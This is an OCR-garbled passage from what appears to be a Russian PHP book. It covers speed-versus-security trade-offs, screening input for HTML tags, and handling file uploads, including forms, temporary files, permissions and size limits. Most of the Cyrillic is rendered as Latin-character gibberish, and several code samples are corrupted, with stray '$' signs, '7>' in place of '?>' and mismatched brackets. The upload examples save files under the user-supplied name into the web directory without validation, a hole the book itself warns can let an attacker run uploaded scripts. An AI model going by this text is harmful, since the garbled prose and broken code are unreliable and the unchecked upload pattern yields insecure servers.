Xopoluee peleHre, MOTOMY YTO OHO GyaeT paboTarh GelcTpee, YeM HCITOJb30Ba-
HUEe NBOMHBIX KaBLIYEK:

print ("MMa paBHo: $name");

Pa36upBarb BBIBOI TEKCTAa HA HECKOJIBKO Onepauuil print HeKpacuBo, U Mpu 6oib-
IIOM KOJIMYECTBE MEepPeMEHHEIX KO CLIeHApHsl HAYMHAeT OBICTPO PACTH M CTAHOBRUT-
Csl HEYUTAEMBIM. HpoﬁneM}' MOXHO PELIHTb, EC/H 3anMcaTh CTPOUKY TaAK:
print('Mua paBHO: '.Sname);

Bor Tak 6yaer GuicTpo M KpacuBo,

st BEIBOJA MEPEMEHHBIX MOXHO HCMOb30BaTh (PYHKUMIO print () cCAeayloliero
BUIA:
printf ("Mma paBHo: %s", S$name);

B cTpoke BBIBOZA € MOMOLIBIO KIIOYA $s MBI YKa3biBA€M MECTO, Kyda HYXHO
BCTABMTb 3HAYEHUE TNepeMeHHoif, a cama rnepeMeHHas mnepenaetTcs (QYHKLUHK
print () Bo BTopoMm napamerpe. Ytobbl HaliTM K104 $s, HHTEPNPETATOPY CHOBA
HYXXHO aHAJIM3MPOBATH CTPOKY, YTO OTHUMAET MPOLIECCOPHOE BpeMsi, MO3TOMY
NAHHBIA METON TAKXKE HeJIb3s HAa3BATh ONTUMAIBHBIM.
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Hanpumep, perynspHsie BelpaxKeHusi paboTaiorT mMeieHHee, YeM (GpyHKUUN MaHu-
nyaunii co crpokamu. B cBaau ¢ 9TUM, ecan BaM HYXKHO FPOWIBECTH TIPOCTYIO
3aMEHY B CTPOKE, HE CTOMT WCIOJb30BATh [UISE 9TOrO PerysipHOE BhIpaXeHHe W
beHKlIHH ereg_replace() WIH preg_replace(), Bellb d)yuxuun str_replace()
Oyner paborate namuoro Guictpee. Ilpumep c peryisipHbIMU BBIPOKEHUSMU Ha-
TsAeH, HO 5 UCNONb3y0 (PYHKIMIO str_replace() TOJBKO B TeX Cly4asx, KOria
KOZ BBIMOJAHSAETCS B LMKIIE, HHAYE BBIMIPBIL B CKOPOCTH HEBEHK.

Ecnu perynsipHble BeIpaXeHHs] HEOOXONMMBI M peasbHO MOIYT YIPOCTHTEL paspa-
Borky, To nydimie Gymer samymarscsi 0 npumeHenuu Perl-sapuanTta, nmoromy uTo
OH HAMHOrO MOILIHEE, 1a U, 110 MOUM HabmoaeHusIM, pabotaer OuIcTpee.

Ilpu pabore c daitnamu nmomymaiite 0 ToM, 4ToObl YUTaTh (AT LETUKOM ¢ IO-
MOILBIO (DYHKUMH file() WIM readfile(). DT0 HaMHOro GriCTpee, YeM MUCTONb-
30BaHHE LIMKIIA:

S$f=fopen("1Mb_file.txt","r") or die(l);
while($x[]=fgets($£,1024));
fclose(S£) ;

OyHkiun file() WM readfile() 4MTAIOT (DAiJIBI LIETMKOM, MO3TOMY MOTYT
obpalarses K XKEeCTKOMY AMCKY LISl yTeHust 6onplummMu Giokamu. 3a ofguH pas
MOXHO 4YWTaTh Mo Heckojbko Ko6ait. IMpu Hcrnoip30BaHuK LMKIA Bbl 4uTaeTe
JIAHHbIE TTOCHMBOJIBHO WM HeBoNbIIUMH O/loKamMu (B IaHHOM MpHUMEpPE Mo of-
Homy KOa#Ty), K TOMy Xe caM UMK TOPMO3HT CLEeHapuil 3a cHeT HeoGXOoaMMo-
CTH MCIOJIb30BaHUSA BONLIIOrO KOJHYECTBA CPABHEHUN M omepaliuii nepexona.

4.5. OnTumn3sayud vs. beaonacHocTb

OcHosHas npobaema ontumusaunu B PHP 3aknioyaercss B ToM, 4TO ONTHMMU3A-
uust ¥ HGeszonacHOCTh, Yallle BCEro, NpOTHBOPEUHBLIE MOHATHS. Koi, KOTOphii He
IIPOM3BOAMT HIKAKUX NPoBepok, paboraer GricTpee, MOTOMY UTO KaXias MpoBep-
K4 MOXeT MpHBecTH K ounibke B NMporpaMMe, 4YTO, B CBOIO O4Y€pellb, MOHHU3MUT
He3ornacHocCTb.

Kaxnas nposepka — 3To 3aTpaTsl NPOLIECCOPHOTO BpeMeHu M 3aMeienue pado-
Thl mporpammel. Ho eciu 3a6otuthest 0 6€30MacHOCTH KOAd, TO MPOBEPKH JIMIL-
HUMH He 6ynyT. Hano npocTo rocTpouTh MX MpaBHILHEIM 06pasoM.

Bo BpeMsi nmpoBepkM HYXHO PaccTaBuTh NpuopnteThl. [lepBbiM AemoM, HYXHO
nposepsitTs HaubGonee uacto Berpevalolnecs OMWNOKH WK MPABUILHEIE peaKLUU.
Hanpumep, Bbl xorute sanperuth nepeanady B ¢dopmy HTML-reros. Kak aro
MoXxHO caenarb? BrionHe siorHuyHbeM ObUI0 6bl MCIOAB30BAHUE PErY/ISPHLIX BbI-
PaOXKEHHWI, KOTOpBIE [MOBCEMeCTHO Mcronb3yiotest B Perl u, Haseproe, Gnaronaps
eMy monyuunu pacnpocrpanerHue. Ho onu paGoralor He Tak yx M ObiCcTpo, a ca-
MOe CTpallHoe, MPU CO3AAHNN PEryJspHOro BEIPAXKEHUS JIETKO OLIMOHTHCS.
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Ecnu MHe HyXHo s3anpetuts HTML-teru, To s pewaio 3agady ¢ MoMOLILBIO clie-
AYIOLLEro anropuTMa:

0 eciu B CTPOKE €CThb CUMBOJI < WM >, TO, BEPOATHO, B Heil ecTh Ter, MoaTOMYy
HY;KHO BbI3BaTh (DYHKIMIO Gonee HeTaNbHON MPOBEPKH, KOTOpas MOXeT OT-
HATH MHOIO BPEMEHH,

00 eciu CUMBOJIOB < M > HET, TO MOXHO TIPUHUMATHL CTPOKY M BLIZBIBATL (ByHK-
10 06paboTKK CTPOKH.

B Bune kona aTo sanuilem Tak:
Sposl = strpos(Smystring, "<");
Spos2 = strpos ($mystring, ">");
if (($posl === false) and ($pos2 === false))
{
// Buzoe byHkuMM 06paboTKM CTDOKM

}

else

{
// Bonee crnoxHasd NpOBEPKA BBENEHHEX NAHHEX
// Ecny npoeepka NpoffeHa YHa¥HO, TO BEIZBATE Ty *e
// byHkiMo oBpaBoTKKM CTPOKK

endif

B nanHom ciiyuae nepeMeHHasl Smystring COAEPXKHT TEKCT, KOTOPBIH Mepeian
cLeHapuio nojis3osarens. C noMolibio YHKUMY strpos () Mbl MPOBEPSiEM, €CTh
JIM B CTpoKe CHMBOJBI < U >. Ecin oba paza QyHKuusi Bo3BpaTujia false, T. .
B CTPOKE HET CHMMBOJIOB < U >, 3HAYUT, TaM He OYIeT Teros W 3JOBPENHOro Koia.
Ecnu cumBonbL ecTh, To Npou3soaMTes Gojiee cIoXHAs MPOBEpKa, KoTopas Oyner
UCKAThb U, BO3MOXHO, BbIPEXET 3MOBPEIHBIH KON M 3alpelleHHbIe TerH U3 CTPo-
KW, TepelaHHON MoIb30BaTeNeM.

Takum obpazoM, eciay rojib3oBaTellb Mepefias cTPoKy Ge3 3arpelieHHbIX CHMBO-
JIOB, TO Kof GyAeT BBITOJNHATHCHA JAOCTATOYHO ObicTpo u Ge3 mpobiem. Eciu uro-
TO 3aNpelIeHHOEe HaWIeHOo, TO TOJNLKO B 3TOM Cjy4Yae Ipoleccop cepBepa Mnomny-
YUT JIOTIOTHUTENBHYIO HArpy3Ky, M nojib3oBare/lb OyaeT HEMHOro MOJBILUE OXH-
Jd4Th OTBETA.

Ho npensapuTensHas MpoBepKka HA CUMBOJIBI < M > HE FApaHTHPYET OTCYTCTBHE
anospenHoro Koxpa. ToJbKO NETAIBHBIH MPOCMOTP MOJYYEHHBIX AaHHBIX MOXET
9TO cKasarh Xors 66l ¢ 99% ysepeHHOCTBIO. [lo3TOMY ONTHMM3ALKUA B AAHHOM
cayyae MOXET CHJIBHO YAapHTh MO HALEXKHOCTH.

DT0 A0CTATOYHO MPOCTOif, HO MOKAa3aTeNbHBIH npuMep. B peanbHbIX ycioBHAX
MOXET 0Ka3aTbesl HaMHoro Ooblle 3amad, B KOTOPbIX PAHXHPOBAHWE MO3BOJMT
MOBBICUTH CKOPOCTh M YMEHBIUUTL Bpemsi o6paboTku cueHapus 6e3 NMOHMKeHHs
6e30MacHOCTH.



Onrtumuzayua 213

Ho B GonbumHerse ciyyaes 3abora o 6e30MacHOCTH BCe e MeIaeT MpoH3BOIH-
TeJIbHOCTH, MOTOMY UTO TpebyeT MHOXECTBA MPOBEPOK, 0 KOTOPHIX MBI yKe roBO-
puin B 21age 3. HaumHaiolme nporpaMMHCThl CYMTAIOT, YTO MPOBEPKH HTOJKHbI
ObITh TOJIBLKO TaM, IJE Mbl MoJyvacM BBEAEHHbIE IMojb30oBaTeseM gaHHble. [la,
MPOBEPATH IMOJAb30BATENS HALO0, MOTOMY 4YTO ciyvaiiHas olluubKa BBOJA MU crie-
HHalbHbIM 06])2301\{ MNOAroTOBJIEHHAs] XaKe€pOM CTPOKa MOXET CKOMIpPOMETHpPO-
BAaTh CLIEHAPUIA M 3aCTaBUThH €ro paboTaTh HEBEpPHO.

Ho npoBepku fromkubl 6biTh Besne. Ecin GyAKiMs uMeeT Ko BO3Bpara, CBUIE-
TENBLCTBYIOINI O NPABWILHOCTH OTPAbOTKH, Bb 06S3aTENLHO HOMKHEL YOEIUTL-
csl, YTO BO BpeMsi paboTel (yHKUHU He Gbuto omuGOK. 3[ech Heb3sl pasrpaHu-
YUTb, Y KaKUX QYHKLMI HYKHO NPOBEPATH KOI BO3BPATa, a 110CHEe KAaKMX MOXHO
npeHedbpeus auIIHUM onepatopoM if. [lpoBepku jgoikHbl ObITh Beerna. BuiBaioT
TOJILKO CJIyyaH, KOrja MpoBepKe Hauo YAeNHTh DoJblie BHUMAHMS, @ KOrIa Her.

Oco6oe BHHMaHUE HOKHO YARNATLCS MIPOBEPKAM B CAEAYIOLIUX ClIydasix:

O [pu nonyuyeHHH JaHHBIX OT MoJab3oBaTend. S Aymaio, YyTo TyT He HYXHO MHOTO
oOBsACHATH, Belb ¢ BawmM Web-caiitom paboTaloT He TONIBKO A0OPOCOBECTHLIE
MONB30BATENH, HO W BITOMUIMKH, KOTOPbIE MOTYT IEpelaTh NporpaMme CHCTEM-
HbIe KOMaH/LI B BHAe napameTpos. OB 3TOM MBI YK€ TOBOPHIN B 21a6e 2.

0O Tlpn oBpaueHnn K cucreme. B3nmoMuIMK MOXET CKOMMPOMETHPOBAThL axe
daitnoByio cuctemy. Hanpumep, sawr cueHapuii Mcrnionb3yer ¢aiiibl Ha HUCKe.
Ecnu xakep cymeer yaaiuTh HeoOXomuMblii haiin, To BO BpeMsi MOMBITKK OT-
KpbiTh ero PHP-(yHKiMst BoiaaeT Ham otiMbKy. Bl Ho/oKHBI oTpearnpoBath Ha
9Ty OWIMOKY W MpepBaTh BBINOJIHEHWE CLIEHApPUsS, MHAYEe jJajbHelluas padora
TIOMJIET MO HENMpeABUAEHHOMY KypCy, i Xakep CMOXET BOCHOJb30BATHCH ITHM.
K cucreMHBIM pecypcaM OTHOCHTCS W 3NEKTPOHHAs nodyra (rmoroMy uro send-
mail Takke MoxeT ObITh CKOMIIPOMETHPOBAH), U IPYIHE Pecypchl ceppepa.

O Ilpu obpaueHnn K 6aze gaHHBIX. D10 BooGLIE OTHAENbLHAS TEMA, HA KOTOPYIO
MOXHO FOBOPMTb HacaMM. Xakep MOXET MoJyduTh HOCTyn K 0ase maHHbIX He
TOJNBKO C MOMOLILbIO BAILETO CLUEHAPHS, HO W Yepe3 MpsaMoe coeluHeHHe, eciu
cepBep MOCTYMEH Misi ToAKmloYeHuss W3BHe. Ho maxe ecau Bbl 3anpeTwv
MoJKIIOYeHHe K cepBepy 0a3 HaHHBIX CO BCEX MAlUMH, KPOME JIOKUIBHOTO
ceppepa, HeobxonuMo OBITh BHUMATE/NBHBIM W aKKypaTHbIM. JoOMycTHM, 4TO
XaKep CMOT M3MEHHTh MH(pOPMAaLMIO B Tabiuiax ¥ 3anucal 310BPeIHbIE AaHHEIE
B onpeaeseHHble noss. Torua npu uteHuu ux ¢ nomouwsio PHP Boi Moxere
TAKKE MOMYYUTh 3/M0BpeaAHbIid Kon. MHpIMu clioBamu, TakuM criocoboM Xakep
nepenan cueHapuio Kox He uyepes cdopmy, He uepe3 napamerpsl B URL, a uve-
pe3 Gasy naHHbIX. UIMeHHO Mo3ToMYy Bee AdaHHBIe, [TOyYeHHbIe OT cepBepa ba-
3bl JIAHHBIX, Bbl JO/KHbI [POBEPSITh M AKKYPATHO MCMONL30BAThH TAK, KaK OyI-
TO OHH MOJyYeHb! U3 HeJlOCTOBEPHOI0 UCTOUHHKA.

BezonmacHocTh M MPOU3BOIUTEILHOCTL MOTYT OBITh CBSI3AHHBIMM TOHATUAMM,
a MoryT BbITb MPOTUBOPEYUBBEIMHU, TO3ITOMY 00e MpobaeMbl HOMKHBI paccMaTpu-
BAaThCSl COBMECTHO.
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Mpumepbl paboTtbi c PHP

Y Hac yxe 10eTATOYHO HH(MOPMALMHK UIsl TOro, YTobbl HAYATEH IHcaTh Boree MH-
TepecHble nporpammbl. B 310l rnase Hac xiaer Gonblioe KOAHYECTBO M1060MNLIT-
HBIX NMPUMEPOB, PEeKOMEHIALM, YIOBOK, cekperos M T. A. Ecin npensiayuiue
IaBbl ObUIM, CKOpee, TeopeTHYecKUMHK, TO 3Ta Byser HocuTh Bojbie MpakTHye-
CKMI xapakrep.

Teopernyeckue 3HaHUsI — 3TO XOPOILO, HO HEODXONUMBL I MPaKTHYECKHE HABBIKH.
TosnbKo OMBIT NO3BOMUT BAM MaKCHMAIbHO OLICTPO M KaYeCTBEHHO peluath THIO-
BBIE 3a/1a4l, C KOTOPLIMM MOXHO BCTPETUTHCS B PEANIbHOMH XKW3HU, U YMEHBUIUTD
BEPOSITHOCTD OLUHOKH.

JInyxo s Beeraa HAYMHAIO M3YYaTh YTO-TO HOBOE UMEHHO C MPAaKTHYECKMX 3al1ay,
a NoTOM YXe nepexoxy K Teopuu. [TpakTuka no3sossier yBHIETh CODCTBEHHBIMMI
rma3zamMu, KakK utro-to paboraer, a ¢ MOMOILIO TeOpUM Mbl yrIybiisieM CBOW 3Ha-
Hust. UMeHHO nosToMy Bce TeoperHuecKHe 3aHsTHsl B JAHHON KHUIe Hilu Bre-
peMellKy ¢ GofbluM KoNM4YecTBOM npuMepos. Jlyulie ofuH pas yBUOETh, YeM
100 pas npounTaTh.

5.1. 3arpyska haitnos Ha cepBep

3arpyska ¢ailyloB Ha cepBep — OJIHA M3 CAMBIX OMAcHBIX 3a1au. Eciu no3sBoinuThb
MOJIb30BATENIO0 YTO-TO 3arpy)XKaTh, TO XaKep CMOXET MOMECTHUTh HA CepBEp CBOI
cueHapuii M BbIMOAHWUTE ero. Eciu eMy aTo yaacrtcs, TO CHMTaTe, YTO Ball Cep-
BEp B3NOMAH.

Kak u mobpie apyrie paHxble, aitibl MOTYT nepefaBaThesi cepBepy MeTomamMu
PUT WK POST. MeTo/l POST HaM yxe 3HaKoMm o pazdeny 2.12, a BOT PUT Mbl [1OKa
ellle He UCTIONbL30BAIN. MeTo PUT coXpaHsieT NaHHbIE TI0 ONMpEneeHHOMY aapecy
URL u Xopoluo noixomut sl mybaukalMy AaHHbLIX Ha cepBepe. ToibKO ecThb
onHa npobiaema — meron He paboraer B PHP 4 n3-3a ownbxu, nosromy Jyulie
¥M HE noJib3oBathed. K TOMy Xe, OH [UI0X0 MOAXOAWT mis nepenayu dainon U3
HTML-dopm. Meton posT Gojiee HalexXeH M BIIOJIHE AOCTATOYEH, IMO3TOMY Or-
PAaHUYNUMCS TONBKO HM.
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Jlng Hayana mocMoTpuM, Kak paboraer meron, ¥ HauyHem ¢ HTML-dopmbl s

OTNpPaBKH:

<form action="http://192.168.77.1/1/post.php" method="post"
enctype="multipart/form-data">

daitnel ONA OTHPaBKM

<br><P><input name="filel" type="file">

<br><P><input type="submit" wvalue="Send files">

</ form>

B cBoiictBax (opMbl, MTOMHMO MapaMETPa action C yKazaHMEM clieHapus obpa-
BOTKH U METo/a OTIpaBKH, Heo6XONUMO YKa3aTh CBOMCTBO enctype. DTO CBOUCT-
BO ONpele/sier, B Kakoil KONUpOBKe JO/KHBI OTNpasiaThes naHHeie. [lo ymonua-
HUIO OHO paBHO application/x-www-form-urlencoded, T. €. PaBHO TEKYILEil
Konuposke (opmsl. Ho mns daiinos, ocobeHHO OMHAPHBIX, KOAUPOBKH HE IOJIK-
HO GbITh, MO3TOMY HEOOXOAMMO M3MEHMTh CBOMCTBO HA multipart/form-data.

st BBona mMeHu aiina Mcrnosib3yeresl DJeMeHT yIpasieHusl input. [ns yno6-
cTBa TUT (CBOMCTBO type) 9TOro 37EMEHTa paBeH file. DTOT TUM MOMAEPXUBACT-
csi GonpmMHCTBOM OpaysepoB M oToOpaxkaer Ha 3KpaHe HE TOJIBKO Mojie BBOA,
HO M KHOMKY 1S Bbibopa aitna. IMocie HaxaTHst 310l KHOMKK Ha dKpaHe Oyier
MOSIBISITHLCS! CTAHNAPTHOE OKHO BbhiGopa daiina (puc. 5.1).

22 E:\1.htm - Flenov Internet Explorer
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Puc. 5.1. ®opma oTnpaskn gaHHbIX

A Kak Oyz#eT NMpoMCXOAMTh caMa nepefaya naHHbX? Bpaysep He MOXET co3ldTh
coennHeHue ¢ (aiiioM cueHApUs U nepenasarh emy AaHHbie. BTo OyAeTr ciMil-
KOM CJIOXKHO, @ B HEKOTOPBIX Cly4asiX mpocto Heo3moxHo. Ho 6bu10 HaitaeHo
BEJIMKOJIEITHOE pElIeHHe — [10C/Ie HAXKATHA KHOMKH OTMPaBKH JaHHBIX daiin 3a-
rpyXaeTcsi BO BpEMEHHBI Karaaor, U TONbLKO TOrAa 3alycKaeTcst yKasaHHbIi clie-
HapHuii.

W3 cuenapuss MbI MOXeM YBMIOETh laHHble (paiina wuepes Maccus
$HTTP_POST_FILES. DTOT MacCHuB siBisieTcsi 1ByMepHbIM. TlepBblii ypoBeHb onpe-
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JensieT UMeHa Moieid, B KOTOphIX Haxomsrtcs napamerpst (aitna. OmHa dopma
MOXKET OTNPABIATh HECKOJBbKO (aiiyioB, MO3ITOMY $HTTP POST FILES [nome] yKa-
3bIBAET HA HYXHBIH Ham ¢aitn. B dopme, onmmMcanHoi paHee, mojie /Ui BBOXA
UMeHHM aiina HasbiBaeTcs filel, MO3TOMY M3 CUEHapHs K 3Tomy (aiury obpaiua-
eMcsl TaK: SHTTP_POST_FILES["filel"],

Bropo#t ypoBeHb onpenessier cBolcTBa 3arpyKeHHoro daiina. 3pech ectb ciie-
ZNYIOUHe JeMEeHThI:

O tmp_name — UMl BpeMeHHOro (haitia, Kyaa 6bur 3arpyxeH (aitn noss3oBare;ist;
O name — uMs (aiia UCTOYHWKA HA MalllMHe KIWEHTA;

0O type — TN aiina;

O size — pasmep baiina.

Wrak, urobsl yBHIETh MMsl BpeMeHHOro (aiisia, Kyna ObuU1d 3arpyXeHbl HaHHBIE,
HarulieM: $PHP_POST FILES(["filel"]["tmp_name"].

Ho a1o eute He Bce. BpemenHslii ¢aitn Ha Unix-cepBepax, uaule Bcero, cosuaercs
B Katajiore /tmp, KoTopslii aBiisieTcs: obllenocTynHsiM. B Hero mMoryt nucars Bce
nojib3oBarenu, uro HebGesonacHo. K toMmy ke, BpemeHHbI ¢aitn MoXer ObITh
ynaneH cucremoit. Byser HamHoro sddexrusHee, ecnu B cueHapuu 3ToT daiin
OyneT cKONMMpOBaH B CMEUMATbHO BBIAEICHHBIH LTS JAHHBIX LIEIei KaTaior.
Crenyouuii TpuMep MOKa3bIBaeT, KaK MOXHO Hojyyuts ¢aitl oT nons3oBarens,
cKoIupoBaTh ero B kKaraior /var/www/html/files n oro6pasuth MHpOpPMALIMIO
o ¢paiine:

<?php

print ("<P> File Size: %g", SHTTP_POST FILES["filel"](["size"]);

print ("<P> File Type: %s", SHTTP_POST FILES["filel"]["type"]);

print ("<P> File Name: %s", SHTTP_POST_FILES["filel"] ["name"]};

print ("<P> Temp File Name: %s",

SHTTP_POST FILES["filel"] ["tmp_name"]);

if (copy(SPHP_POST FILES["filel"]["tmp_name"],
" Jvar/www/html/files/" . SHTTP_POST FILES["filel"] ["name"]))
print ("KonmposaHue saeepiieHo");
else
print ("Oumbra xonupoBauus Qaina 1</B>");

7>

3arpy3ka MoxeT ObITb OTKIIOYeHa B KoHdurypauuoHHoM daiine php.ini. Or-
KpoiiTe 3TOT (aiti ¥ rnposepbTe AUPEKTUBY file_uploads. Ytobbl y Bac Obuia
BO3MOXHOCTb 3arpyXarh (aiibl Ha CepBep, 3TOT NapaMeTp A0/DKEH ObITh paBeH on.
Ecau Bawiu cileHapuu He 3arpyXxaloT NaHHble, TO ybenuTech, YTO OH paBeH off,

8 3ax. 1315
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yTOOBI BITOMILMK OBUT HE B cocTosiHuK ucnonb3osare PHP u sarpysute daiin Ha
cepsep.

3arpyska MOXEeT 3aBeplIuThbesi olUMOKON M npM HeXBaTKE Mpas Ha 3armich B Kara-
qior, Ecnin y Bac Her nipas, To daitn coanath Gyner Henb3s.

Ecnu BBl ucnionbsyete riobanbHele NepeMeHHbie (Uit 3TOro B KOHGUIYPaUHOH-

HoM daiinie NMpPEeKTHBA register_globals NO/DKHA GBITH paBHa on), TO K 3THM
K€ MmapaMeTpaM MOXHO TMOMYYUTh JOCTYI Yepe3 ClIeAyIOlHe IIepeMeHHbIE:

0O $filel — uMs BpeMeHHoro ¢aiina;
0 s$filel_name — WUM# (aiina Ha cepsepe;
0 $filel_size — pasMep;
0 $filel_type — TN (aiina.
To ecTh TOT X€ KOJ 3arpy3Ku MOXET BBINISIIETH cleaylomuM obpasom:
<7php
print ("<P>Temp file name $filel");
print ("<P>File name $filel_name");
print("<P>File size $filel_size");
print ("<P>File type $filel_type");

if (copy($filel}
" /var/www/html/files/".$filel_name))
print ("<P><B>Complete</B>") ;
else
print ("Oumbka konupoBaHua ¢afna 1</B>");

?>

MMornpo6yiiTe BLIMOJHUTL CLiEHAPHIl W NMOCMOTPETh HA MMSI BpeMEHHOro daiina.
A sarpysun daiin file.txt, a BpemeHHblii daiin 6bur HazBaH /tmp/phpmllXXec.
CepBep M3MEHSIET HMs 0 CBOEMY YCMOTPEHUIO, [TO3TOMY PEalbHOE MMSI HYXHO
Opatb ¥3 mapameTpa $filel_name, T. €. W3 peaTbHOrO WMEHH, TMEpPENAHHOIO
C KOMMBIOTepa-KIHEHTa.

Teneps paccMOTpUM HM3MEHEHME MpaB OOCTYNA 3arpyXeHHoro Ha cepsep (aiina
Ha npumepe CyD FTP Client XP (www.cydsoft.com). ITonxmouaemest K cepsepy,
BBUIENsieM 3arpyxeHHslit ¢aitn u Bsilbupaem menio Remote | File permissions
(Ynaneunsiit | @aitnosble paspewenus) (puc. 5.2). O6parute BHUMaHHE, HTO
paspeileHo NpakTHyeckKu Bce. EciM CpaBHMTH 3TH INpaBa ¢ NMpaBaMM Karajiord,
Ky/la MpOoM3OIIa 3arpy3Ka, TO Bbl YBHIMTE, YTO OHM MHAEHTUYHBI. Bbl MOKHBI
YYMTBIBATH 3TO: TOC/E 3arpy3Kd HYXHO KOppeKTUpOBaTh MNpasa, a UMEHHO ybu-
parb NpaBa Ha 3amuck B (air ¥ BhINONHEHWE, YTOOB! BITOMILIMK HE CMOT NMOIMe-
HHUTh CONEPXHMOE WIM BBIMOJHUTL 3arpyXeHHbIli cueHapwit. O mpasax mocryna
B cucreme Linux MOXHO npouyuTarth B KHure "Linux riaszamu xakepa" [1].
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' File permissions

\a User: 48 Group: 48
Owe: [EReod  Dlwie  [BlEnscue
Group:  [¥] Read O white [¥] Execute
Public: [¥] Read [&] write [¥] Execute
[ AtRead | [ Atwie | [ AlExecue |
Mausl [757 s ]
[ ok | [ Cancel |

Puc. 5.2. Npasa goctyna Kk daiiny

PaccMoTpuM elle OIHY KIACCHYECKYl0 3amadyy — OrpaHHvYeHue pasmepa 3arpy-
xaemoro caitna. DT0 MOXHO CIeaTh TpeMmsa crnocobaMu: ¢ MoMOIIBI0 OrpaHHYe-
Husi pasmepa cdaitia B HTML-dopme, Ha cTropoHe cepBepa U ¢ MOMOIUIBIO napa-
Mmetpa KoHburypaumonHoro aitna. [dns orpaHuyenuss B HTML-dbopme
HeobxonuMo 106aBUTh HEBHIMMOE I10NI€ ¢ HMEHEM MAX_FILE_SIZE, a B Ka4ecTBe

3HAYEHHs YKa3aTh HYXKHBI pasMmep:
<input type="hidden" name="MAX FILE SIZE" value="300">

B paHHOM mpuMepe B KayecrBe MaKCHMAJILHOrO pa3Mepa yKa3aHO 3HayeHHe
300 Gaitr. @aitnsl Gosblero paaMepa Ha cepBep 3arpyxarbes He OyayT.

Ora cTpoKa HOKHA MATH [0 ONMMcaHus nojs BBoga uMmeHu daitna. Torma dopma
ornpaBky daiina Gyner BRINISIAETH CIeAyIOLMM obpasom:
<form action="http://192.168.77.1/1/post.php" method="post"
enctype="multipart/form-data">
Ornpaexka Qannoe:
<input type="hidden" name="MAX FILE SIZE" value="300">
<br><input name="filel" type="file">
<br><input type="submit" value="Send files">
</form>

TMonpo6yiite Teneps 3arpy3uth Gaiii Gonbiue paspelieHHoro pasmepa. Ymnpasnie-
Hue OGyaeT nepegaHo cUEHApWio, HO Mpu 3ToM ¢ain He Oyler 3arpyxeH Ha
cepBep, Mo3ToMy mnapameTrp pasMepa aina $filel_size Oyner paBeH HYIIO,
a UM BpeMeHHoro daiina $filel_size OyaeT paBHO none. Takum obpasoM,



220 lnasa 5

B PHP-cuenapuit xenatreiabHo [00aBuTh CHEAYIOULYIO IMPOBEPKY, Npexie uyem
MPOU3BOJINTE KOITHPOBAHKWE:

if (sfilel=="none")
die("o®ain crmukoM Gomnswoi") ;

Henocrarok aToro MeTONa 3aKiliovaeTcss B TOM, YTO XaKep MOXET JIETKO YAAnuTh
HEBUIMMOE TI0JIE C OTpaHUYeHNEM, Bellb NMPOBepKa OyaeT MPOMCXOAUTh Ha CTOPO-
He kineHta 8 HTML-dopme. [TosTomy nywile nmpou3BOAMTE MPOBEPKY HA CTO-
poHe cepsepa, Koraa (aiin Oyner 3arpyxeH:
<?php

if ($filel_size>10*1024)

die ("Cmmxom Gonsmol pasmep gamna") ;

if (copy($filel,
"/var/www/html/files/".$filel_name) )

print ("<P><B>Complete</B>") ;

else

print ("OumBkra xonupopauus daina 1</B>");

7>

B aroM npumepe Mbl B Hayane cLUEHApHsl MPOBepseM, YTODbI pasMep 3arpyxeH-
Horo cpaitia He Obin Gonee 10 K6aiir (10, ymHoxenHoe Ha 1024 Gaiir, T. €. Ha
1 Ko6aiir).

[IpeumylIecTBO 3TOr0 MeTold COCTOMT B TOM, YTO NMPOBEPKY He yaactesl ybpars,
€C/IM He MMETh JIOCTYIA K MCXOJHOMY KOJIy CLEeHapusl i BO3MOXHOCTH €ro pefax-
TUPOBAHMSI.

[Tocnennuit crnocob — u3MeHeHWe JTUPEKTHBBI upload_max_filesize KOH(pUIY-
paunoHHoro aiina php.ini. Cinenyouuit npuMep ycTaHABIMBAET MAKCHMATBHbII
pasmep B 2 Mo6aiir.

upload_max_filesize = 2IM
Henocrarok Bcex MeTOHOB: TOT (DaKT, YTO MOJIb30BaTeIb BRIOpa] CIMILIKOM 60Jib-

woit haiin, craHeT U3BECTHBIM TONBKO MOCJIE ero 3arpy3ku. 9to tpara tpaduka u
BPEMEHH, YTO HE NMOHpPaBUTCS JN0OPONOPSAOYHBIM I101L30BATENISIM BALLEro CaiTa.

5.2. NpoBepka KoppeKTHOCTN thanna

B pa3zdese 5.1 Mbl BHISSCHWIW, YTO IIpU 3arpyske ¢aiyioB Bo3HHMKAeT Ipobiema
npaB goctyna. Yrobul daitn MoxHO ObUIO 3arpy3nTh, HA KATANOr HOMKHBI OblTh
YCTAHOBJIEHBI MIpaBa HA 3aMKCh JUTISL BCEX MOJIb3oBaTesneil. 3arpyxeHHsli daiin no
YMOJIHAHHUIO MOXET MMeThb IpaBa Ha BBIMONHEeHWe. TakuM obpasoM, ecii Xakep
sarpy3ut cBoit PHP-cuenapuit 1 cymMeeT BLITIONHUTDL €ro Ha CepBepe, TO 3TO MO-
JKET TIPUBECTH K B3JIOMY BCEro ceppepa.
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Y1o6wI XdKEep He CMOr 3arpy3suThb HHYEro oriacHoro uis Ballero cepeepa, Heobxo-
AUMO CJIEOUTL 34 COONEPHKHUMbBIM 3aKa4yMBAE€MBbIX NAHHBIX. Hanpsmep, OYEHDL YacTo
Ha opyMe TMONB30OBATENSAM IIPEfOCTABAAeTC] BO3MOXHOCTH 3aKaYMBaTh CBOM
KApTHHKM, KoTopbkle OymyT orobpaxarsest Haj coobieHnsiMu. Ho ripu arom mbl
JIOJDKHBI ObITh yBepeHsl, uto B aitne aeiicTeuTeNsHo rpacduvyeckue gaHHble, a He
TeKCT U, TeM Oonee, He nmporpamma Ha s3bike PHP, Kak B atom y6emnThes?

Onnoit mposepkn daittoB HUKoraa He 6viBaeT pocratouHo. HyxkHo obazaresb-
HO HECKOJIBKO 3TarnoB KOHTPOJS DAHHBIX, [MOTOMY YTO OMWH YpPOBEHb ODOHTH
BCErnA HaMHoro mpoute. O6cynuM, KaKue MpOBEPKM MOXHO clenath wig dai-
JIOB KAPTHHOK.

IMonpobytite 3akauyars Ha cepsep rpaduueckuii daitn B dopmare GIF ¢ nomo-
IIBI0 CLEHApHsl, OMHMCAHHOrO B pazdese 5.2. B mone type Gyer cofiepXarbes
TEKCT image/gif. Jlo 3HAKA C/A3IU HAXOAMTCS TUM image, 4 MOcHe CH21Ia CTOUT
pacmupenue daitna. Jna JPEG-daitioB nocie cisua MOXHO YBHIETH ONHO M3
pacmumMpeHuit jpg, jpeg wan pjpeg, a s PNG-daiina Gyner png. Bee sti tuns
NOMMEPKNBAIOTCH OOJIBITMHCTBOM COBPEMEHHBIX Opay3epoB, U MMEHHO MX Mbl
OyneM MpoBepATh.

